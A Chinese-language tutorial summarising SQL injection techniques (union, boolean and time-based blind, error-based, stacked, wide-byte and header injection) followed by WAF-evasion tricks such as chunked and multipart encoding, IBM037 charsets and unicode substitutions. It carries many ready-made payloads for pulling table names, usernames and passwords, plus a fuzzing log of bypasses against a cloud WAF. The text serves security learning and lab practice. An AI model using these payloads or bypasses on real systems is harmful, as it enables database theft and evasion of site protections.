深度技术研究之SQL注入总结
关注一波,谢谢各位师傅
感谢ch1e师傅帮忙总结
ch1e‘blog:https://ch1e.gitee.io/
基本的sql语句
查询:SELECT statement FROM table WHERE condition删除记录:DELETE FROM table WHERE condition更新记录:UPDATE table SET field=value WHERE condtion添加记录:INSERT INTO table field VALUES(values)
sql注入类型
最基础的注入-union注入攻击
Boolean注入攻击-布尔盲注
时间注入攻击-时间盲注
报错注入攻击
堆叠查询注入攻击
二次注入攻击
宽字节注入攻击
头部注入
最基础的注入-union注入攻击
1.首先判断是GET类型还是POST类型的注入
2.寻找出他后端的闭合规则
3.使用order by或者group by来判断有几个字段
order by是mysql中对查询数据进行排序的方法
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
我们可以通过对order by 后面输入的数字不同来判断出他有几个字段
一般食用方法:若order by x与 order by x+1回显不一样,则有x个字段
4.使用union select 1,2,3,4,….有几个字段就写几个,例如五个字段就是select 1,2,3,4,5
判断哪个位置有回显,我们就在有回显的位置进行查询
5.例如有仨个字段,2,3位置有回显,我们就可以把2,3位置上替换成database(),user(),version()等有利于我们收集信息的函数。
6.知道了我们当前的数据库以后我们就需要查询该数据库的下的表的内容。
union select 1,group_concat(table_name) from information_schema.tables where table_schema=”database()”,3
这段sql语句的 作用是,从information_schema.tables表下面查询数据库名称为database()下的表的表名
7.查询到了当前数据库以及当前数据库下的表,接下来就是要对表中的字段进行查询,这里里user表为例
union select 1,group_concat(column_name)from information_schema.columns where table_name=”user”,3
这句sql语句的意思是从information_schema.columns表中查询user表的字段名
8.查询到字段名以后,这里以字段名username和passwd为例
union select 1,username,passwd from user;
这句sql语句的意思是从user中查询username和passwd的字段值
Boolean注入攻击-布尔盲注
前言:
一些情况下,由于开发者屏蔽了报错信息,导致攻击者无法通过报错信息来进行注入的判断。
这种情况下的注入称之为盲注,布尔盲注是基于真假的判断,不论输入的是什么,都只会返回true或者false
布尔盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否
布尔盲注的判断方式
通过长度判断length():length(database())>=x
通过字符判断substr():substr(database(),1,1) =’x’
通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x
布尔盲注的实现
1.首先我们应该找到sql语句的闭合规则,这里以普通的单引号为例
2.布尔盲注要用到length()和substr()语句,用两种状态来猜解数据库、表名等的长度和正确字母
3.首先需要我们来猜数据库的长度,使用的是二分法;一次一次的判断,更改数据库的长度,根据返回的
true或者false来得到正确的数据库长度
id=1' and length(database())>=1 --+
4.其次,得到了正确的数据库长度以后我们需要来得到他的数据库名,这里手工注入太麻烦我们也可以选择使用burpsuite来帮助我们进行注入,Burpsuite的具体使用先暂不介绍;
substr()函数是用来截取数据库某个字段的一部分,有三个参数,第一个是数据库中需要截取的字段
第二个是从第几个开始,第三个字段是截取的数目,所以下面的sql语句是截取database()字段从第一个开始,截取一个字符,然后再使用Burpsuite或者Python来跑出完整的数据库名即可
id=1'and substr(database(),1,1)='a' --+
5.得到了数据库名,我们还要得到该数据库下的表;具体原理相似,只是把union联合查询注入中的查询语句放入到了函数中,把查询出来的数据作为我们函数的参数,这里就不再多做介绍
id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+
6.得到数据库表以后,我们要获取数据库字段名
id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+
7.查询出数据库字段名以后,我们需要获取具体的数据
id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+
补充:
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
如:substr或substring(database(),1,1) 截取出:数据库名,第一位开始, 截取一位。
ascii() 返回字符的ascii码 [将字符变为数字]
sleep() 将程序挂起一段时间n为n秒,被禁可用benchmark()代替,同效。
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如 果错误执行第三个语句
报错注入
常用函数
floor();updatexml();ExtractValue();
updatexml()函数
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
作用:改变文档中符合条件的节点的值
语法:updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如:
select * from test where ide = 1 and (updatexml(1,0x7e,3));
由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
extractvalue()函数
此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
select *from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
select user,password from users where user_id=1 and (extractvalue(1,0x7e));
由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
###报错注入的利用方式
这里就不具体介绍了,只需要使用payload,把执行语句替换就可以了
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) 函数 利用方法floor() select count (*) from information _schema.tables group by concat ((此处加入执行语句),0x7e,floor (rand (0)*2));extractvalue() extractvalue (1,concat (0x7e,(此处加入执行语句),0x7e));updatexml() select updatexml (1,concat (0x7e,(此处加入执行语句),0x7e),1);
延时注入
延时注入介绍
利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
其实时间盲注和布尔盲注原理相似,只是利用sleep()等函数使执行时间变成来判断条件的正确,这里不再过多介绍,直接上Payload
payload:
爆数据库名长度**' and if(length(database())>=8,sleep(5),1)#爆数据库:**' and if(substr(database(),1,1)='p',sleep(5),null) #爆数据表:**' and if((substr(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1))='a',sleep(5),null) #爆数据列:**' and if((substr(select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))='a',sleep(5),null) #爆数据信息:**' and if((substr((select password from users limit 0,1),1,1))='a',sleep(5),null)#
注意:一般注入时,猜错的几率大,所以在猜对了的时候让页面sleep()
堆叠查询注入
原理介绍
SQL中,分号是用来表示一条sql语句的结束,我们可以在一条语句的结束后的;后继续构造下一条语句,会一起被执行,所以这就造成了堆叠注入,堆叠注入和union 联合查询注入都是把两条语句合并在一起,两者之间的区别在于union 执行的语句是有限的,而堆叠注入可以执行任意的语句
堆叠注入的实现
正常sql语句:
Select * from users where id=’1’’;
注入sql语句:
Select * from users where id=’1’;select if(length(database())>5,sleep(5),1) #
我们通过上面的比较可以看出,正常sql语句和注入sql语句的不同就在于sql注入语句后还有一条sql语句,是一条时间盲注的语句,所以我们只需要在正常的查询语句后面加上我们其他注入的方法就好了(个人理解,如果有错误欢迎各位大佬指正),因此payload的构造就是在正常输入后加上一个分号,然后加上其他类型的sql注入语句即可
(P.S:男上加男)
宽字节注入
涉及到的基本概念
字符、字符集
字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。
UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
###宽字节注入原理
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:
%df\’ = %df%5c%27=縗’
,有了单引号就好注入了。
例子:
http://127.0.0.1/Less-32/?id=1%df'('浏览器自动进行url编码%27)根据以上分析,发生如下转换:%df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>運'MySQL执行的语句为:$sql="SELECT * FROM users WHERE id='1運'' LIMIT 0,1";成功将单引号闭合,可以进行SQL注入
头部注入
Head注入总结:
区别只是注入位置不同:
Cookie、ua头(User-Agent)、referrer、(可以手动添加)X-Forwarded-For:
主要利用:报错注入
绕过总结
原句:RLIKE (SELECT (CASE WHEN (41=41) THEN 1 ELSE 0x28 END))
RLIKE:正则匹配
select "11111112222123333" rlike ".*12.*";select "11111112222123333" rlike "^12" ;
类似于 LIKE
CASE:
case when sex = '1' then '男'when sex = '2' then '女' else '其他' end //
值为1返回男,为2返回女,else时返回其他
梳理:提出部分语句:CASE
WHEN (41=41) THEN 1 ELSE 0x28 END ;
我们知道41=41这是个恒等值,那么这部分语句只会返回1, 此时语句等效于SELECT 1
那么SELECT 1是什么呢?以下是百度的回答。
既然SELECT 1的表中只要存有数据一定返回true,而注入的时候一般都是带入WHERE子句中查询,so,理论齐了,看下案例
正常访问
那么加入上面提到的过waf注入,看看结果
正常返回 上面的分析我们知道 这么长的一串其实等效于 RLIKE true ,那么此时可以证明下我们的结论了。
拓展:当想测试返回页面为错误的时候 只需要更改
RLIKE (SELECT (CASE WHEN (41=41) THEN 1 ELSE 0x28 END))
中那个恒等的41=41而已,或者可以用 RLIKE true/false来解决waf。
二
pipline(隧道传输)
首先声明,这个方法过不了最新狗,算是有点老的方法
什么是pipline?看图
C代表客户端;S代表服务器端
左:普通http请求一个请求包一个响应包
右:pipline传输,多个请求包同时发送,服务器端也返回相应响应包
姿势1:
1Burp的话先关闭repeater中的update content-length
2修改connection为keep-alive
3复制数据包粘贴到下面(注意空一行),把污染数据放到后面的包中
4结果
这种方法绕过waf的原因是waf拦截到数据包检测content-length。超出长度部分作为没用的数据放行了从而达到绕过。
姿势2:畸形包
直接看方式(第二个请求的空格进行url转码)
结果
边界传输
这个也没绕过,滑稽
什么是边界传输?
简单说,一种http传文件的协议,同时也可以传数据
绕过waf原理是waf没有考虑到这种协议可以传数据直接当做文件放行了(协议未覆盖)
姿势
分块传输(“强无敌”)
什么是分块传输?
简单说,一种拆分数据包的方法,能拆成特别变态的样子
姿势
1添加Transfer-Encoding: chunked
2拆分脏数据一个长度标识跟着一撮数据,任意拆分,如下图(空格也是一位)
3注意:末尾要加“0”同时敲几个回车,不然会超时
4结果,绕过
边界+分块,直接上图
边界传输的格式也可以拆分
注意:这部分长度不加参数是19,具体原因待考证、
边界+分块+注释干扰
分块传输中可以用分号加载长度标识符后面来作为注释符,这样某些waf拼接起来也看不出来什么东西
charset=ibm500、charset=ibm037编码绕过
(待实践)
将脏数据进行charset=ibm500或者charset=ibm037编码
在content-type后加上charset=xxx
一个转换网站
http://www.haomeili.net/HanZi/BianMaZhuanHuan?ToCode=IBM037
########
数据库特性 :
注释:#---- ---+///**//*letmetest*/;%00
科学记数法
空白字符:
SQLite3 0A 0D 0C 09 20MySQL5 09 0A 0B 0C 0D A0 20PosgresSQL 0A 0D 0C 09 20Oracle 11g 00 0A 0D 0C 09 20MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
+号:
-号:
“符号:
~号:
!号:
@`形式`:
点号.1:
单引号双引号:
括号select(1):
花括号:
这里举一个云盾的案例,并附上当时fuzz的过程:
union+select 拦截select+from 不拦截select+from+表名 拦截union(select) 不拦截所以可以不用在乎这个union了。union(select user from ddd) 拦截union(select%0aall) 不拦截union(select%0aall user from ddd) 拦截fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与末尾圆括号之间可插入的符号。union(select%0aall{user}from{ddd}) 不拦截
可运用的sql函数&关键字:
MySQL:union distinctunion distinctrowprocedure analyse()updatexml()extracavalue()exp()ceil()atan()sqrt()floor()ceiling()tan()rand()sign()greatest()字符串截取函数Mid(version(),1,1)Substr(version(),1,1)Substring(version(),1,1)Lpad(version(),1,1)Rpad(version(),1,1)Left(version(),1)reverse(right(reverse(version()),1)字符串连接函数concat(version(),'|',user());concat_ws('|',1,2,3)字符转换Char(49)Hex('a')Unhex(61)过滤了逗号(1)limit处的逗号:limit 1 offset 0(2)字符串截取处的逗号mid处的逗号:mid(version() from 1 for 1)MSSQL:IS_SRVROLEMEMBER()IS_MEMBER()HAS_DBACCESS()convert()col_name()object_id()is_srvrolemember()is_member()字符串截取函数Substring(@@version,1,1)Left(@@version,1)Right(@@version,1)(2)字符串转换函数Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypassChar('97')exec
Mysql BIGINT数据类型构造溢出型报错注入:
BIGINT Overflow Error Based SQL Injection
容器特性 :
%特性:
asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉,而
没特殊要求的waf当然是不会的:
%u特性:
iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但
waf就不一定了
这个特性还存在另一个case,就是多个widechar会有可能转换为同一个字符。
s%u0065lect->selects%u00f0lect->select
WAF对%u0065会识别出这是e,组合成了select关键字,但有可能识别不出%u00f0
字母a:%u0000%u0041%u0061%u00aa%u00e2单引号:%u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7空白:%u0020%uff00%c0%20%c0%a0%e0%80%a0左括号(:%u0028%uff08%c0%28%c0%a8%e0%80%a8右括号):%u0029%uff09%c0%29%c0%a9%e0%80%a
这个文章的最后一个手法:
